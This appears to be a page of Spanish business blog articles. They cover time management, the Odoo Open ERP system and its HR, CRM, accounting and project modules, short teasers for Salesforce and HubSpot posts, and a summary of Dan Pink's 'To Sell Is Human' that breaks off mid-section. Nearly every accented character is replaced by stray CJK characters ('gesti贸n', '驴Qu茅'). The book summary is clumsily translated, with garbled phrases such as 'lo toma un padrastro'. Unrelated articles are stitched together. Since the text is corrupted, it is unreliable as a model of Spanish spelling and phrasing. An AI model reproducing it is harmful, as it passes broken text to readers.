La gesti贸n del tiempo es importante por varias razones. En primer lugar, nos ayuda a ser m谩s productivos. Cuando administramos nuestro tiempo de manera efectiva, podemos realizar nuestras tareas de manera m谩s eficiente y completar m谩s trabajo en menos tiempo. Esto nos permite ser m谩s eficientes y lograr nuestros objetivos de manera m谩s r谩pida.

Adem谩s, la gesti贸n del tiempo nos ayuda a reducir el estr茅s. Cuando tenemos un plan claro y organizado para nuestras tareas, nos sentimos m谩s tranquilos y menos abrumados. El estr茅s puede afectar negativamente nuestra salud y bienestar, por lo que es importante encontrar formas de reducirlo. La gesti贸n del tiempo nos permite organizar nuestras tareas de manera que podamos cumplir con nuestros plazos sin sentirnos abrumados.

Por 煤ltimo, la gesti贸n del tiempo nos ayuda a lograr un equilibrio entre el trabajo y la vida personal. Muchas veces, nos encontramos atrapados en una rutina en la que dedicamos la mayor parte de nuestro tiempo al trabajo y descuidamos otras 谩reas importantes de nuestra vida, como la familia, los amigos y los hobbies. La gesti贸n del tiempo nos permite asignar tiempo para todas estas 谩reas y asegurarnos de que estamos dedicando tiempo a las cosas que realmente importan.

Identifica tus prioridades y objetivos

Identificar tus prioridades y objetivos es fundamental para una gesti贸n efectiva del tiempo. Antes de comenzar a administrar tu tiempo, es importante tener claro qu茅 es lo m谩s importante para ti y qu茅 quieres lograr. Esto te ayudar谩 a establecer tus prioridades y a enfocar tus esfuerzos en las tareas que realmente importan.

Una forma de identificar tus prioridades y objetivos es hacer una lista de las cosas que quieres lograr a corto y largo plazo. Luego, puedes clasificar estas metas en funci贸n de su importancia y establecer un plan para alcanzarlas. Al tener claras tus prioridades y objetivos, podr谩s tomar decisiones m谩s informadas sobre c贸mo utilizar tu tiempo y enfocarte en las tareas que te acercar谩n a tus metas.

Crea un plan de acci贸n y establece metas realistas

Una vez que hayas identificado tus prioridades y objetivos, es importante crear un plan de acci贸n para ayudarte a alcanzarlos. Un plan de acci贸n es una gu铆a que te ayudar谩 a organizar tus tareas y a establecer metas realistas.

Para crear un plan de acci贸n efectivo, es importante desglosar tus objetivos en tareas m谩s peque帽as y manejables. Establece plazos realistas para cada tarea y asigna tiempo en tu calendario para trabajar en ellas. Al establecer metas realistas y dividir tus objetivos en tareas m谩s peque帽as, te resultar谩 m谩s f谩cil mantenerte enfocado y motivado.

Evita la procrastinaci贸n y las distracciones

La procrastinaci贸n y las distracciones son dos de los mayores obst谩culos para una gesti贸n efectiva del tiempo. La procrastinaci贸n es el acto de posponer tareas importantes y reemplazarlas por actividades menos importantes o incluso innecesarias. Las distracciones, por otro lado, son cosas que nos distraen de nuestras tareas y nos impiden concentrarnos.

Para evitar la procrastinaci贸n, es importante identificar las causas subyacentes de este comportamiento y encontrar formas de superarlas. Algunas estrategias efectivas incluyen establecer plazos estrictos para las tareas, dividir las tareas en partes m谩s peque帽as y recompensarte a ti mismo por completarlas.

Para minimizar las distracciones, es importante identificar qu茅 cosas te distraen y encontrar formas de evitarlas o limitar su impacto. Esto puede incluir apagar las notificaciones del tel茅fono, establecer l铆mites de tiempo para el uso de las redes sociales o trabajar en un entorno tranquilo y libre de distracciones.

Aprende a delegar tareas y decir “no”

Aprender a delegar tareas y decir “no” es fundamental para una gesti贸n efectiva del tiempo. Muchas veces, nos sentimos obligados a hacerlo todo nosotros mismos y a aceptar todas las tareas que se nos presentan. Sin embargo, esto puede llevarnos a sentirnos abrumados y a no poder cumplir con nuestros plazos.

Delegar tareas significa asignarlas a otras personas que puedan realizarlas de manera efectiva. Esto no solo te ayudar谩 a liberar tiempo para enfocarte en tareas m谩s importantes, sino que tambi茅n permitir谩 a otras personas desarrollar sus habilidades y asumir responsabilidades.

Decir “no” tambi茅n es importante para evitar el exceso de compromisos y el agotamiento. Aprende a establecer l铆mites y a priorizar tus propias necesidades. No tengas miedo de decir “no” cuando sientas que no puedes asumir una tarea adicional o cuando necesites tiempo para descansar y recargar energ铆as.

Utiliza herramientas y t茅cnicas de gesti贸n del tiempo

Existen muchas herramientas y t茅cnicas de gesti贸n del tiempo que pueden ayudarte a administrar tu tiempo de manera m谩s eficiente. Algunas de estas herramientas incluyen listas de tareas, bloqueo de tiempo y la t茅cnica Pomodoro.

Las listas de tareas son una forma efectiva de organizar tus tareas y priorizarlas. Puedes hacer una lista de todas las tareas que necesitas realizar y clasificarlas en funci贸n de su importancia y urgencia. Luego, puedes asignar tiempo en tu calendario para trabajar en cada tarea y marcarlas a medida que las completes.

El bloqueo de tiempo es una t茅cnica en la que asignas bloques de tiempo espec铆ficos para trabajar en tareas espec铆ficas. Por ejemplo, puedes bloquear una hora por la ma帽ana para trabajar en un proyecto importante y otra hora por la tarde para responder correos electr贸nicos. Esto te ayuda a mantener el enfoque y a evitar distracciones.

La t茅cnica Pomodoro es una t茅cnica en la que trabajas en bloques de tiempo de 25 minutos, seguidos de un descanso de 5 minutos. Despu茅s de completar cuatro bloques de tiempo, tomas un descanso m谩s largo de 15-30 minutos. Esta t茅cnica te ayuda a mantener la concentraci贸n y a evitar el agotamiento.

Establece horarios y rutinas efectivas

Establecer horarios y rutinas efectivas es fundamental para una gesti贸n eficiente del tiempo. Al establecer horarios regulares para realizar ciertas tareas, puedes crear una estructura y un sentido de orden en tu d铆a.

Por ejemplo, puedes establecer una rutina matutina en la que te levantes a la misma hora todos los d铆as, hagas ejercicio, te prepares para el d铆a y revises tus objetivos y tareas para el d铆a. Esto te ayudar谩 a comenzar el d铆a con energ铆a y enfoque.

Tambi茅n puedes establecer horarios espec铆ficos para realizar tareas como responder correos electr贸nicos, hacer llamadas telef贸nicas o trabajar en proyectos importantes. Al asignar tiempo espec铆fico para estas tareas, te aseguras de que se realicen de manera oportuna y eficiente.

Aprende a manejar el estr茅s y la presi贸n

El estr茅s y la presi贸n son inevitables en nuestras vidas diarias, pero aprender a manejarlos de manera efectiva es fundamental para una gesti贸n eficiente del tiempo. El estr茅s y la presi贸n pueden afectar negativamente nuestra productividad y bienestar, por lo que es importante encontrar formas de manejarlos.

Algunas estrategias efectivas para manejar el estr茅s y la presi贸n incluyen la pr谩ctica de t茅cnicas de relajaci贸n, como la respiraci贸n profunda y la meditaci贸n, la realizaci贸n de ejercicio regularmente, la b煤squeda de apoyo emocional y la adopci贸n de un enfoque positivo hacia los desaf铆os y obst谩culos.

Tambi茅n es importante establecer l铆mites y aprender a decir “no” cuando sientas que est谩s asumiendo demasiado. Aprende a priorizar tus propias necesidades y a cuidar de ti mismo. Recuerda que tu salud y bienestar son fundamentales para una gesti贸n efectiva del tiempo.

Aprovecha el tiempo libre para descansar y recargar energ铆as

Aprovechar el tiempo libre para descansar y recargar energ铆as es fundamental para una gesti贸n efectiva del tiempo. Muchas veces, nos sentimos culpables por tomarnos un descanso o por no estar constantemente ocupados. Sin embargo, es importante recordar que el descanso y la relajaci贸n son necesarios para mantenernos saludables y productivos.

Aprovecha tu tiempo libre para hacer actividades que te gusten y te relajen, como leer un libro, ver una pel铆cula, pasar tiempo con amigos o practicar un hobby. Estas actividades te ayudar谩n a recargar energ铆as y a mantener un equilibrio saludable entre el trabajo y la vida personal.

Tambi茅n es importante establecer l铆mites y aprender a desconectar del trabajo cuando est谩s fuera del horario laboral. Apaga las notificaciones del tel茅fono y establece l铆mites claros para el uso de la tecnolog铆a. Esto te ayudar谩 a descansar y a disfrutar de tu tiempo libre sin distracciones.

Eval煤a tu progreso y ajusta tu plan seg煤n sea necesario

Evaluar tu progreso y ajustar tu plan de gesti贸n del tiempo seg煤n sea necesario es fundamental para asegurar el 茅xito continuo. A medida que avanzas en tus tareas y objetivos, es importante evaluar regularmente tu progreso y hacer ajustes si es necesario.

Preg煤ntate a ti mismo si est谩s logrando tus objetivos y si est谩s satisfecho con tu nivel de productividad y bienestar. Si encuentras 谩reas en las que puedes mejorar, haz los ajustes necesarios en tu plan de gesti贸n del tiempo. Esto puede incluir cambiar tus horarios, establecer nuevas metas o buscar nuevas herramientas y t茅cnicas de gesti贸n del tiempo.

Recuerda que la gesti贸n del tiempo es un proceso continuo y que siempre hay margen de mejora. No tengas miedo de hacer cambios y de adaptarte a medida que avanzas en tu viaje de gesti贸n del tiempo.

Conclusi贸n

La gesti贸n del tiempo es fundamental para una vida productiva y equilibrada. A trav茅s de una gesti贸n efectiva del tiempo, podemos aumentar nuestra productividad, reducir el estr茅s y lograr un equilibrio entre el trabajo y la vida personal. Al identificar nuestras prioridades y objetivos, crear un plan de acci贸n, evitar la procrastinaci贸n y las distracciones, aprender a delegar tareas y decir “no”, utilizar herramientas y t茅cnicas de gesti贸n del tiempo, establecer horarios y rutinas efectivas, manejar el estr茅s y la presi贸n, aprovechar el tiempo libre para descansar y recargar energ铆as, evaluar nuestro progreso y ajustar nuestro plan seg煤n sea necesario, podemos lograr una gesti贸n efectiva del tiempo y alcanzar nuestros objetivos de manera m谩s eficiente. As铆 que no esperes m谩s, comienza a implementar estrategias de gesti贸n del tiempo en tu vida diaria y disfruta de los beneficios que conlleva.
Si est谩s buscando mejorar tu administraci贸n del tiempo, te recomendamos leer nuestro art铆culo sobre “Estrategias de gesti贸n de riesgos: el nuevo imperativo de los CEO”. En este art铆culo, descubrir谩s c贸mo los l铆deres empresariales pueden implementar estrategias efectivas para gestionar los riesgos y optimizar su tiempo de manera eficiente. 隆No te lo pierdas! Leer m谩s

C贸mo optimizar tus procesos empresariales con Odoo Open ERP

Introducci贸n

En el mundo empresarial actual, la eficiencia y la optimizaci贸n de los procesos son fundamentales para el 茅xito de una empresa. Una forma de lograr esto es a trav茅s de la implementaci贸n de un sistema ERP (Enterprise Resource Planning, por sus siglas en ingl茅s). Odoo Open ERP es una de las opciones m谩s populares y completas en el mercado de los sistemas ERP. En este art铆culo, exploraremos qu茅 es Odoo Open ERP, c贸mo puede ayudar a tu empresa y c贸mo elegir el m贸dulo adecuado para tus necesidades.

La implementaci贸n de un sistema ERP en una empresa es de vital importancia para optimizar los procesos y mejorar la eficiencia. Un sistema ERP integra y centraliza todas las operaciones y funciones de una empresa en un solo sistema, lo que permite una mejor comunicaci贸n y colaboraci贸n entre los diferentes departamentos. Adem谩s, un sistema ERP proporciona una visi贸n completa y en tiempo real de todas las 谩reas de la empresa, lo que facilita la toma de decisiones informadas y estrat茅gicas.

驴Qu茅 es Odoo Open ERP y c贸mo puede ayudar a tu empresa?

Odoo Open ERP es un sistema ERP de c贸digo abierto que ofrece una amplia gama de m贸dulos y funcionalidades para gestionar todas las 谩reas de una empresa, desde recursos humanos y finanzas hasta ventas y proyectos. Es altamente personalizable y escalable, lo que lo hace adecuado para empresas de todos los tama帽os y sectores.

Una de las principales ventajas de Odoo Open ERP es su interfaz intuitiva y f谩cil de usar, que permite a los usuarios acceder y utilizar todas las funcionalidades del sistema de manera sencilla. Adem谩s, Odoo Open ERP ofrece una amplia gama de caracter铆sticas y beneficios, como la gesti贸n de inventario, la gesti贸n de compras, la gesti贸n de ventas, la gesti贸n de proyectos, la gesti贸n de recursos humanos y la contabilidad, entre otros.

Odoo Open ERP puede ayudar a las empresas a optimizar sus operaciones al centralizar y automatizar los procesos empresariales. Por ejemplo, con Odoo Open ERP, las empresas pueden gestionar eficientemente su inventario, realizar un seguimiento de las ventas y los pedidos, gestionar proyectos y tareas, y gestionar los recursos humanos, todo desde un solo sistema. Esto no solo ahorra tiempo y esfuerzo, sino que tambi茅n mejora la precisi贸n y la eficiencia de las operaciones empresariales.

Ventajas de implementar Odoo en tu negocio

La implementaci贸n de Odoo Open ERP en una empresa ofrece numerosas ventajas. En primer lugar, Odoo Open ERP es una soluci贸n rentable en comparaci贸n con otros sistemas ERP en el mercado. Al ser de c贸digo abierto, no hay costos de licencia y las actualizaciones y mejoras son gratuitas. Adem谩s, Odoo Open ERP ofrece una amplia gama de m贸dulos y funcionalidades, lo que permite a las empresas elegir y pagar solo por los m贸dulos que necesitan, lo que reduce a煤n m谩s los costos.

Otra ventaja de Odoo Open ERP es su escalabilidad y flexibilidad. El sistema puede adaptarse y crecer junto con la empresa, lo que lo hace adecuado para empresas de todos los tama帽os y sectores. Adem谩s, Odoo Open ERP se integra f谩cilmente con otras aplicaciones y sistemas, lo que permite a las empresas aprovechar al m谩ximo sus inversiones existentes en tecnolog铆a.

C贸mo elegir el m贸dulo adecuado de Odoo para tu empresa

Odoo Open ERP ofrece una amplia gama de m贸dulos y funcionalidades para gestionar todas las 谩reas de una empresa. Al elegir el m贸dulo adecuado para tu empresa, es importante considerar varios factores. En primer lugar, debes evaluar las necesidades y los objetivos de tu empresa. 驴Qu茅 谩reas de tu empresa necesitan ser optimizadas y mejoradas? 驴Qu茅 funcionalidades espec铆ficas necesitas?

Adem谩s, es importante considerar la compatibilidad y la integraci贸n con los sistemas y aplicaciones existentes en tu empresa. 驴El m贸dulo que est谩s considerando se integra f谩cilmente con tus sistemas actuales? 驴Puede compartir datos y sincronizarse con otras aplicaciones que utilizas?

Por 煤ltimo, es 煤til investigar y leer casos de 茅xito de empresas que han implementado el m贸dulo que est谩s considerando. Esto te dar谩 una idea de c贸mo el m贸dulo ha funcionado en situaciones similares y si ha sido exitoso.

C贸mo integrar Odoo con tus procesos empresariales actuales

La integraci贸n de Odoo Open ERP con los procesos empresariales existentes es fundamental para maximizar los beneficios del sistema. Para integrar Odoo Open ERP con tus procesos empresariales actuales, es importante seguir algunos pasos clave.

En primer lugar, debes identificar los procesos empresariales que se beneficiar铆an de la implementaci贸n de Odoo Open ERP. Esto puede incluir la gesti贸n de inventario, la gesti贸n de ventas, la gesti贸n de proyectos, la gesti贸n de recursos humanos, entre otros. Una vez identificados los procesos, debes analizar c贸mo se llevan a cabo actualmente y c贸mo podr铆an mejorarse con Odoo Open ERP.

A continuaci贸n, debes configurar y personalizar Odoo Open ERP para que se ajuste a tus procesos empresariales existentes. Esto puede incluir la creaci贸n de flujos de trabajo personalizados, la configuraci贸n de campos y formularios, y la integraci贸n con otras aplicaciones y sistemas.

Finalmente, debes capacitar a tus empleados en el uso de Odoo Open ERP y asegurarte de que comprendan c贸mo se integra con sus procesos empresariales actuales. Esto garantizar谩 una transici贸n suave y una adopci贸n exitosa del sistema.

C贸mo automatizar tus procesos empresariales con Odoo

Una de las caracter铆sticas m谩s poderosas de Odoo Open ERP es su capacidad para automatizar los procesos empresariales. Con Odoo Open ERP, las empresas pueden automatizar una amplia gama de procesos, lo que ahorra tiempo y mejora la eficiencia.

Por ejemplo, con Odoo Open ERP, las empresas pueden automatizar la gesti贸n de inventario, lo que les permite realizar un seguimiento en tiempo real de los niveles de stock, recibir alertas cuando los niveles de stock son bajos y generar autom谩ticamente 贸rdenes de compra cuando sea necesario.

Adem谩s, Odoo Open ERP permite la automatizaci贸n de la gesti贸n de ventas, lo que facilita la creaci贸n y el seguimiento de cotizaciones, la generaci贸n de facturas y el seguimiento de los pagos. Tambi茅n se pueden automatizar los procesos de gesti贸n de proyectos, como la asignaci贸n de tareas, el seguimiento del progreso y la generaci贸n de informes.

La automatizaci贸n de los procesos empresariales con Odoo Open ERP no solo ahorra tiempo y esfuerzo, sino que tambi茅n mejora la precisi贸n y la consistencia de las operaciones empresariales.

C贸mo gestionar tus recursos humanos con Odoo HR

El m贸dulo de recursos humanos de Odoo Open ERP, conocido como Odoo HR, es una herramienta poderosa para gestionar y optimizar los recursos humanos de una empresa. Con Odoo HR, las empresas pueden gestionar eficientemente la contrataci贸n, la gesti贸n de empleados, la gesti贸n de n贸minas y la gesti贸n de ausencias, entre otros.

Una de las caracter铆sticas clave de Odoo HR es su capacidad para centralizar y organizar toda la informaci贸n relacionada con los empleados en un solo lugar. Esto incluye informaci贸n personal, informaci贸n de contacto, informaci贸n de empleo, informaci贸n de n贸mina y m谩s. Adem谩s, Odoo HR permite a los empleados acceder y actualizar su propia informaci贸n, lo que reduce la carga administrativa para el departamento de recursos humanos.

Adem谩s, Odoo HR ofrece herramientas para gestionar el proceso de contrataci贸n, desde la publicaci贸n de ofertas de trabajo hasta la selecci贸n de candidatos y la generaci贸n de contratos. Tambi茅n permite la gesti贸n de ausencias y permisos, lo que facilita el seguimiento y la gesti贸n de las vacaciones, las licencias por enfermedad y otros tipos de ausencias.

C贸mo mejorar tus ventas con Odoo CRM

El m贸dulo de gesti贸n de relaciones con los clientes (CRM) de Odoo Open ERP es una herramienta esencial para mejorar las ventas y la gesti贸n de clientes. Con Odoo CRM, las empresas pueden gestionar eficientemente el ciclo de ventas, desde la generaci贸n de leads hasta el cierre de ventas y el seguimiento de clientes.

Una de las caracter铆sticas clave de Odoo CRM es su capacidad para organizar y gestionar todos los contactos y oportunidades de venta en un solo lugar. Esto incluye la informaci贸n de contacto de los clientes, el historial de comunicaciones, las oportunidades de venta y m谩s. Adem谩s, Odoo CRM permite a los equipos de ventas realizar un seguimiento de las actividades y tareas relacionadas con las oportunidades de venta, lo que mejora la colaboraci贸n y la eficiencia.

Adem谩s, Odoo CRM ofrece herramientas para automatizar y optimizar el proceso de ventas. Por ejemplo, se pueden crear flujos de trabajo automatizados para enviar correos electr贸nicos de seguimiento, generar cotizaciones y facturas, y realizar un seguimiento de los pagos. Tambi茅n se pueden generar informes y an谩lisis en tiempo real para evaluar el rendimiento de las ventas y tomar decisiones informadas.

C贸mo controlar tus finanzas con Odoo Contabilidad

El m贸dulo de contabilidad de Odoo Open ERP, conocido como Odoo Contabilidad, es una herramienta esencial para gestionar y controlar las finanzas de una empresa. Con Odoo Contabilidad, las empresas pueden realizar un seguimiento de los ingresos y gastos, generar informes financieros, gestionar la facturaci贸n y m谩s.

Una de las caracter铆sticas clave de Odoo Contabilidad es su capacidad para automatizar y simplificar el proceso de contabilidad. Con Odoo Contabilidad, las empresas pueden importar autom谩ticamente los extractos bancarios, reconciliar las transacciones, generar facturas y pagos, y realizar un seguimiento de los impuestos y las retenciones.

Adem谩s, Odoo Contabilidad ofrece herramientas para generar informes financieros en tiempo real, como el balance general, el estado de resultados y el flujo de efectivo. Estos informes proporcionan una visi贸n clara y precisa de la situaci贸n financiera de la empresa, lo que facilita la toma de decisiones informadas.

C贸mo gestionar tus proyectos con Odoo Project Management

El m贸dulo de gesti贸n de proyectos de Odoo Open ERP, conocido como Odoo Project Management, es una herramienta esencial para gestionar y controlar los proyectos de una empresa. Con Odoo Project Management, las empresas pueden planificar, asignar y realizar un seguimiento de las tareas y los proyectos, lo que mejora la colaboraci贸n y la eficiencia.

Una de las caracter铆sticas clave de Odoo Project Management es su capacidad para organizar y gestionar todos los aspectos de un proyecto en un solo lugar. Esto incluye la planificaci贸n de tareas, la asignaci贸n de recursos, el seguimiento del progreso y la generaci贸n de informes. Adem谩s, Odoo Project Management permite a los equipos de proyectos colaborar y comunicarse de manera efectiva a trav茅s de herramientas como el chat en l铆nea y los comentarios.

Adem谩s, Odoo Project Management ofrece herramientas para gestionar el tiempo y los gastos del proyecto, lo que facilita el seguimiento y la gesti贸n de los recursos y los costos. Tambi茅n se pueden generar informes y an谩lisis en tiempo real para evaluar el rendimiento del proyecto y tomar decisiones informadas.

C贸mo medir el 茅xito de tu implementaci贸n de Odoo en tu empresa

La implementaci贸n exitosa de Odoo Open ERP en una empresa se puede medir a trav茅s de una serie de m茅tricas clave. Estas m茅tricas pueden incluir la mejora de la eficiencia operativa, la reducci贸n de los costos, el aumento de las ventas y los ingresos, la mejora de la satisfacci贸n del cliente y la mejora de la productividad de los empleados.

Por ejemplo, una empresa puede medir la eficiencia operativa a trav茅s de m茅tricas como el tiempo de procesamiento de pedidos, el tiempo de entrega, el tiempo de respuesta al cliente y la precisi贸n de los pedidos. Una empresa tambi茅n puede medir la reducci贸n de costos a trav茅s de m茅tricas como el ahorro de mano de obra, el ahorro de inventario y el ahorro de tiempo.

Adem谩s, una empresa puede medir el aumento de las ventas y los ingresos a trav茅s de m茅tricas como el aumento de las oportunidades de venta, el aumento de las tasas de conversi贸n y el aumento de los ingresos por cliente. Tambi茅n se pueden medir la satisfacci贸n del cliente a trav茅s de m茅tricas como el 铆ndice de satisfacci贸n del cliente, el tiempo de respuesta al cliente y el n煤mero de quejas o devoluciones.

Conclusion

En resumen, la implementaci贸n de Odoo Open ERP en una empresa ofrece numerosos beneficios, como la optimizaci贸n de los procesos, la mejora de la eficiencia y la reducci贸n de los costos. Odoo Open ERP es una soluci贸n rentable y altamente personalizable que se adapta a las necesidades de cualquier empresa. Al elegir el m贸dulo adecuado y realizar una integraci贸n adec uada, las empresas pueden aprovechar al m谩ximo las capacidades de Odoo Open ERP y mejorar su rendimiento en general. Adem谩s, la comunidad de Odoo ofrece un amplio soporte y actualizaciones regulares, lo que garantiza que la plataforma est茅 siempre actualizada y en l铆nea con las 煤ltimas tendencias y tecnolog铆as. En definitiva, la implementaci贸n de Odoo Open ERP es una decisi贸n inteligente para cualquier empresa que busque mejorar su eficiencia y competitividad en el mercado.
Si est谩s buscando informaci贸n relacionada con Odoo Open ERP, te recomendamos leer nuestro art铆culo sobre “驴Qu茅 es SEPA?” SEPA (Single Euro Payments Area) es una iniciativa que busca unificar los pagos en euros en Europa, facilitando las transferencias y domiciliaciones bancarias. En este art铆culo, encontrar谩s informaci贸n detallada sobre c贸mo funciona SEPA y cu谩les son sus beneficios para las empresas. 隆No te lo pierdas! Leer m谩s

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

C贸mo aprobar el examen de certificaci贸n Salesforce Certified AI Associate

脷ltima actualizaci贸n el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el pr贸ximo en superarlo As铆 que, 隆prep谩rese y sum茅rjase! 馃憠 Ya que est谩s aqu铆, es posible que desees

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Integraci贸n de Salesforce y HubSpot: Gu铆a del administrador

Ha llegado el momento. Una de las invitaciones de calendario m谩s interruptivas que puedes recibir acaba de aparecer en tu bandeja de entrada. El equipo de marketing est谩 cambiando de plataforma de automatizaci贸n de marketing a HubSpot. Y esto necesita sincronizarse bidireccionalmente con Salesforce. En este post, te dar茅 un r谩pido curso acelerado sobre la integraci贸n HubSpot-Salesforce y lo que […]

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Vender es Humano: 驴Que tan buen vendedor eres?

Seamos empleados por cuenta propia que exponemos una nueva idea a nuestros clientes, emprendedores que tratamos de atraer a nuevos inversores, o padres o maestros que tratamos que los ni帽os estudien m谩s, estamos siempre tratando de convencer a los dem谩s. Es por eso que hoy m谩s que nunca, hay que revisar todo lo que creemos saber sobre las ventas y adoptar una nueva perspectiva.que nos guste o no, todos somos vendedores, es en este art铆culo donde la encontrar谩s.

Pero la venta ya no es lo que era. Hace a帽os hab铆a una asimetr铆a en la informaci贸n:

  • El vendedor siempre dispon铆a de m谩s datos que el comprador y eso le permit铆a ejercer una posici贸n dominante;
  • En la actualidad, esa informaci贸n es p煤blica y solo hay que saber d贸nde encontrarla.

Como consecuencia, el discurso prepotente, vulgar, poco escrupuloso y salpicado de humor f谩cil ya no sirve. En su lugar, ha surgido un nuevo enfoque para convencer a nuestros interlocutores.

Ahora es fundamental dominar tres cualidades esenciales:

1) La Sintonizaci贸n,

2) La Flotabilidad (actitud firme y afable), y

3) La Claridad.

Y a la vez se deben mejorar tres habilidades cruciales:

  1. La Argumentaci贸n,
  2. La Improvisaci贸n, y
  3. El Servicio. Todo ello con un 煤nico objetivo: ayudarnos a vender m谩s.
A medida que la tecnolog铆a hizo que la informaci贸n sea m谩s accesible y permiti贸 a la gente investigar y comprar bienes y servicios online, el rol del vendedor cambi贸 al del solucionador de problemas. La gente puede ser capaz de resolver sus propios problemas estos d铆as pero s贸lo si se est谩n dirigiendo al problema correcto. 

En este resumen del libro, To Sell Is Human, Dan Pink habla sobre el modo de vender ahora:

Requiere conservar la cantidad masiva de la informaci贸n all铆 para encontrar las piezas m谩s relevantes y aclaratorias.

Es parte de un cambio en el mundo de las ventas desde una cultura de Siempre Estar Cerca para el ABC redefinido de Pink,.

El ve el vender como un modo de mover a otros y hoy estamos yendo a explorar c贸mo podemos hacer lo mismo. 

A = Sintonia

Existen tres claves para alcanzar la sinton铆a, lo que en su forma m谩s simple significa entrar en armon铆a con individuos grupos y contextos.

Se trata de ver las cosas desde las perspectivas de los otros y tomar tus acciones y miradas con los dem谩s. 

Primero, Pink dice que debes aumentar tu poder reduci茅ndolo:

  • Si entras en una interacci贸n sintiendo como la persona con menos poder, es muy probable que trates de ver las cosas desde la perspectiva de la persona con las cual estas tratando,
  • Realmente ayudar谩 a meterte en sus cabezas y moverte m谩s f谩cilmente. 

Aquellos que se sienten poderosos tienden a  incluir tambi茅n demasiado en sus propia perspectiva, y por lo general fallan en ajustar el punto de vista del otro. Terminan con una peor lectura de la situaci贸n en frente de ellos.

Segundo, debes utilizar tu cabeza tanto como tu coraz贸n:

  • Habla de mirar la situaci贸n de ventas desde el punto de vista de otra persona como un ejercicio cognitivo que 茅l denomina toma perspectiva
  • Es diferente de la empat铆a. lo cual es una respuesta emocional basada en el sentimiento, pero argumenta que ambos son crucialmente importantes. 

El se帽ala un caso que estimul贸 la venta de una estaci贸n de gas:

  • Donde el postor m谩s alto a煤n estaba pagando menos que lo que quer铆an los vendedores
  • Pero ambas partes tienen intereses mutuos que pod铆an ayudar a cerrar el trato
  • A Un grupo se les pidi贸 considerar lo que la otra parte estaba sintiendo,
  • Mientras que al otro se le pidi贸 que imaginara lo que ellos estaban pensando,
  • El 煤ltimo grupo fue un grupo de control y tuvo solo instrucciones gen茅ricas.

Los enfatizadores logran m谩s tratos que el grupo de control pero los tomadores perspectivos lo hicieron incluso mejor:

  • El 76 % trajo tratos que hicieron a  todos feliz
  • Fueron capaces de dibujar lo que necesitaban de la situaci贸n y las necesidades de todos involucradas,
  • Para clarificar la soluci贸n que dej贸 a todos sintiendo satisfechos. 

Es tan importante leer el modo en que la gente en grupos se conecta e interact煤a una con otra, como el ver un escenario desde la perspectiva de una persona. Esto se llama de acuerdo a Pink: Mapa Mental de como la gente interact煤a de manera social y dice que:

Es una herramienta 煤til para asegurarte que no te pierdes en un jugador central en el grupo o pierdes tu tiempo eligiendo a la persona incorrecta.

El tercer y 煤ltimo principio es la Imitaci贸n F铆sica. Probablemente hayas o铆do un mill贸n de veces que debes sutilmente copiar la forma de ser de otra persona mientras est谩s en una entrevista de trabajo, pero Pink lo toma un padrastro, como un medio para conectarse con gente y crear un sentido de confianza. 

Es una capacidad que debes utilizar cuidadosamente, si la gente siente que est谩n siendo mimado estar谩n en tu contra. Pero la m铆mica estrat茅gica de los patrones del discurso, las respuestas afectivas o los comportamientos visibles pueden profundizar el apego y ayudar tu capacidad a mover a otros. 

Crea un sentido que est谩s en sinton铆a con otras personas y hacernos sentir que estamos en la misma p谩gina.

Pink dice que tomado junto, todas estas t茅cnicas ayudaran a ser una mejor persona de ventas mientras desarrollamos mas relaciones fuertes con clientes que tendr谩s un mejor entendimiento. 

B = Flotabilidad

El modo de permanecer a flote en un oc茅ano de rejection es una de las cualidades esenciales para mover a otros. 

El ve tres componentes para la flotabilidad, lo cual se aplica antes, durante o despu茅s de cualquier esfuerzo para mover a otros.

El primero es la Auto charla autointerrogativa antes que intentes la venta.

Por lo general:

  • Docena de libros han empujado la idea de la charla de 谩nimo, argumentando que si te animas a ti mismo obtendr谩s una fuerza de confianza que te permitir谩 tener 茅xito
  • Cualquiera que te diga que dicha auto charla positiva es mejor que la negativa, no est谩n equivocados,
Pero una opci贸n mucho mejor es la autocharla interrogativa porque el preguntarte a ti mismo si puedes o no hacer algo, te fuerza a justificar los modos en los cuales tu puedes. 

El resultado es que:

  1. Eso te da una confianza m谩s profunda porque te hace crear en ejemplos de veces cuando has tenido 茅xito en una situaci贸n similar,
  2. Llama las habilidades que sabes que posees y puedes utilizar para tratar con un desaf铆o o problema,
  3. Tambi茅n puede traer a la mente las razones intr铆nsecas porque est谩s persiguiendo un objetivo el cual te har谩 autom谩ticamente m谩s interesado en alcanzarlo que si solo hayas estado haci茅ndolo solamente por presiones externas. 

El segundo componente es la Positividad:

  • Piensa en las experiencias en las cuales estabas planeando comprar un producto y la persona de ventas era amable o impaciente, crearon emociones positivas o negativas.
  • No es m谩s probable que le quieras comprar algo a alguien que te haya gustado o haya sido amable contigo en vez de aquella con la cual te sentiste intimidado?

Pink cita un experimento que dividi贸 a los participantes en tres grupos:

  • Se les pidi贸 planificar una boda,
  • Ten铆an un acuerdo con una empresa de catering que les iba a cobrar  $14,000 por la comida pero de repente el vendedor regreso dici茅ndoles que el precio hab铆a aumentado,
  • En un escenario, el vendedor fue amigable, en otro antagonista, en el tercero neutral,
  • El estudio descubri贸 que aquellos que escucharon el tono de estilo positivo fueron dos veces m谩s dispuestos a que acepten el trato que aquellos que hab铆an escuchado un tono negativo, incluso siendo los t茅rminos similares. 
La positividad requiere que creas en lo que est谩s vendiendo pero viene con un peque帽o cambio. Demasiado positividad no es realmente bueno. Te puede parecer delirante y mantenerte del aprendizaje y an谩lisis que viene de los sentimientos negativos. Algo de negatividad es esencial para mantenerte centrado y permitirte obtener el feedback en tu rendimiento. 

El u;timo componente viene despu茅s del hecho, y es lo que Pink llama el estilo explicativo:

Es la historia que te cuentas a ti mismo que tiene sentido del modo que las cosas funcionaron. Como piensas sobre tu d铆a y como explicas las peores partes de el, puede llevar un largo camino para determinar si has sobrevivido o no. 

Si te rindes facilmente, piensas que todos los fracasos son tu culpa y te sientes sin ayuda hacia lo que piensas es una cirncunstancia permanente:

  • Tendr谩s una menor chance 茅xito que si ves las rechazos como temporarios, espec铆ficos y externos,
  • La mezcla exacta de aquellos dos visiones del mundo puede hacer un optimista real, una que vea las buenas cosas con ojos bien abiertos. 

Si pones estas ideas en pr谩ctica el rechazo pueden a煤n molestar, pero probablemente encuentras m谩s f谩cil de superarlos.

C = Claridad

Pink argumenta que es:

